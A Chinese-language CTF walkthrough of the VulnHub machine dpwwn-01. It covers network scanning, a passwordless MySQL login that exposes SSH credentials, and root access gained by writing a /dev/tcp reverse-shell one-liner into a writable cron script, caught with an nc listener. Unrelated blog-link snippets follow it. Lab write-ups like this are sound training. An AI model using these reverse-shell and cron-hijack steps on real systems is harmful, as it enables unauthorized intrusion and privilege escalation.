dpwwn-01
环境配置
靶机下载地址:
https://download.vulnhub.com/dpwwn/dpwwn-01.zip
下载好解压打开.vmx文件即可

启动后如图:

无法直接获得靶机ip,用kali扫ip
netdiscover -r 192.168.164.0/16
ip信息:
kali:192.168.164.137
靶机:192.168.164.181

渗透测试
拿到靶机的ip后,进行端口扫描
nmap -sS -sV -T5 -A -p- 192.168.164.181

发现靶机开启22、80、3306这3个端口。
其中3306是数据库端口,尝试无密码连接试一下。

直接进入。
查找一下可用信息
看到ssh数据库中有用户表,其中有用户密码信息:

username:mistic
password:testP@$$swordmistic
将获得的信息尝试ssh连接
连接成功

查看不是root权限

尝试提权
发现/home/mistic/logrot.sh每3分钟执行一次

而且/home/mistic/logrot.sh具有写的权限

制作反弹shell脚本内容
并在kali攻击机上开启nc监听,nc -lvp 1234
在靶机上执行命令,制作反弹shell写入logrot.sh文件中
echo '0<&172-;exec 172<>/dev/tcp/192.168.164.137/1234;sh <&172 >&172 2>&172' > logrot.sh
把反弹shell脚本内容写入定时任务脚本文件,


接下来就是写一个定时任务,再开一个nc监听,把/bin/bash反弹回来,就可以获得root的shell了

等待一会儿,就看到反弹shell过来了,id看一下,确认是root,完成。

进入root目录下,获取flag

dpwwn-01的更多相关文章
- 01.SQLServer性能优化之----强大的文件组----分盘存储
		汇总篇:http://www.cnblogs.com/dunitian/p/4822808.html#tsql 文章内容皆自己的理解,如有不足之处欢迎指正~谢谢 前天有学弟问逆天:“逆天,有没有一种方 ... 
- 用Kotlin创建第一个Android项目(KAD 01)
		原文标题:Create your first Android project using Kotlin (KAD 01) 作者:Antonio Leiva 时间:Nov 21, 2016 原文链接:h ... 
- Java企业实训 - 01 - Java前奏
		前言: 虽然个人专攻.NET方向,不过由于个人是干教育行业的,方方面面的东西,不能说都必须精通,但肯定多少都会涉及到. 一个菜鸟学员,从啥都不会,经过一步步学习,最后到企业上手掌管一个模块甚至一个项目 ... 
- Node.js 教程 01 - 简介、安装及配置
		系列目录: Node.js 教程 01 - 简介.安装及配置 Node.js 教程 02 - 经典的Hello World Node.js 教程 03 - 创建HTTP服务器 Node.js 教程 0 ... 
- 0042 MySQL学习笔记-入门--01
		基本概念: 数据库DB(database): 数据的仓库,数据的集合,是数据的一种结构化的存储 数据库管理系统DBMS(database management system): 管理数据库的一套软件 ... 
- Android快乐贪吃蛇游戏实战项目开发教程-01项目概述与目录
		一.项目简介 贪吃蛇是一个很经典的游戏,也很适合用来学习.本教程将和大家一起做一个Android版的贪吃蛇游戏. 我已经将做好的案例上传到了应用宝,无病毒.无广告,大家可以放心下载下来把玩一下.应用宝 ... 
- ArtifactTransferException: Failure to transfer org.apache.openejb:javaee-api:jar:5.0-1
		最近在myeclipse上创建maven类型的web项目的时候,出现了一个错误. ArtifactTransferException: Failure to transfer org.apache.o ... 
- Python学习--01入门
		Python学习--01入门 Python是一种解释型.面向对象.动态数据类型的高级程序设计语言.和PHP一样,它是后端开发语言. 如果有C语言.PHP语言.JAVA语言等其中一种语言的基础,学习Py ... 
- 异步编程系列第01章  Async异步编程简介
		p { display: block; margin: 3px 0 0 0; } --> 2016.10.11补充 三个月过去了,回头来看,我不得不承认这是一系列失败的翻译.过段时间,我将重新翻 ... 
- 【干货分享】前端面试知识点锦集01(HTML篇)——附答案
		一.HTML部分 1.浏览器页面有哪三层构成,分别是什么,作用是什么? 构成:结构层.表示层.行为层分别是:HTML.CSS.JavaScript作用:HTML实现页面结构,CSS完成页面的表现与风格 ... 
随机推荐
- ybt的坑
			emmmm ybt 字符串处理 例2题解错了 AC自动机板子错了(据说) 另外字符串处理的题解写的我一脸懵逼 网站上eeeee 点击查看E. 1.排队接水 #include <iostream& ... 
- Solution -「洛谷 P4198」楼房重建
			\(\mathcal{Description}\) Link. 给定点集 \(\{P_n\}\),\(P_i=(i,h_i)\),\(m\) 次修改,每次修改某个 \(h_i\),在每次修改后 ... 
- PRML 概率分布
			本文地址:https://www.cnblogs.com/faranten/p/15917369.html 转载请注明作者与出处 1 二元变量 1.1 伯努利分布与二项分布  考虑一个最基本的试验: ... 
- Node.JS学习——学习笔记
			Node.JS--学习笔记 2020年02月23日11:52:01 我打算自学NodeJS-通过阅读NodeJS官网来完成. https://nodejs.org/dist/latest-v13.x/ ... 
- 关于SpringCloud中,使用 Hystrix的问题
			springCloud升级后.导致 HtystrixDashboard 默认的servlet请求路径修改了 将业务的微服务使用 HtystrixDashboard 仪表盘第一次监控时出现 Unable ... 
- Spring源码之BeanFactoryPostProcessor(后置处理器)
			Spring源码之BeanFactoryPostProcessor(后置处理器). 有点水平的Spring开发人员想必都知道BeanFactoryPostProcessor也就是常说的后置管理器,这是 ... 
- 思科VTP协议(后面有配置案例)
			一.VTP相关理论介绍 1.1 VTP(VLAN trunking protocol)协议是用来在整个交换网络中分发和同步VLAN数据库的,是一个二层协议,思科私有协议. 1.2 VTP域是由一台或者 ... 
- 好久没写作业了,因为组里分配了任务,学习了Resnet和DenseNet,把概要po上来和大家分享。
			Res: 学长说,不要看别人的博客.看多了就看傻了!俗话说,不听老人言,吃亏在眼前. 第一篇论文来咯!Deep Residual Learning for Image Recognition!国人写的 ... 
- SaaS平台是什么,为什么字节、腾讯等大厂都在抢相关人才
			SaaS平台很多人可能没听说是什么,但是从事TO B公司的员工来说,SaaS平台应该都有所耳闻.从2016年开始,腾讯开始发力TO B算起,到处在挖TO B公司的骨干人才,而熟悉SaaS平台的人才竞 ... 
- 如何利用Smartbi做数据分析:2018内5月热销乘用车分析报告
			在2018年第一季度热销乘用车分析报告中,SUV以总体销量15.4%的同比增长率让人不可小觑,Smartbi刚得到5月分析的数据就迫不及待的来看看是否热度不减,结果在5月这个所谓汽车销售淡季,轿车以9 ... 
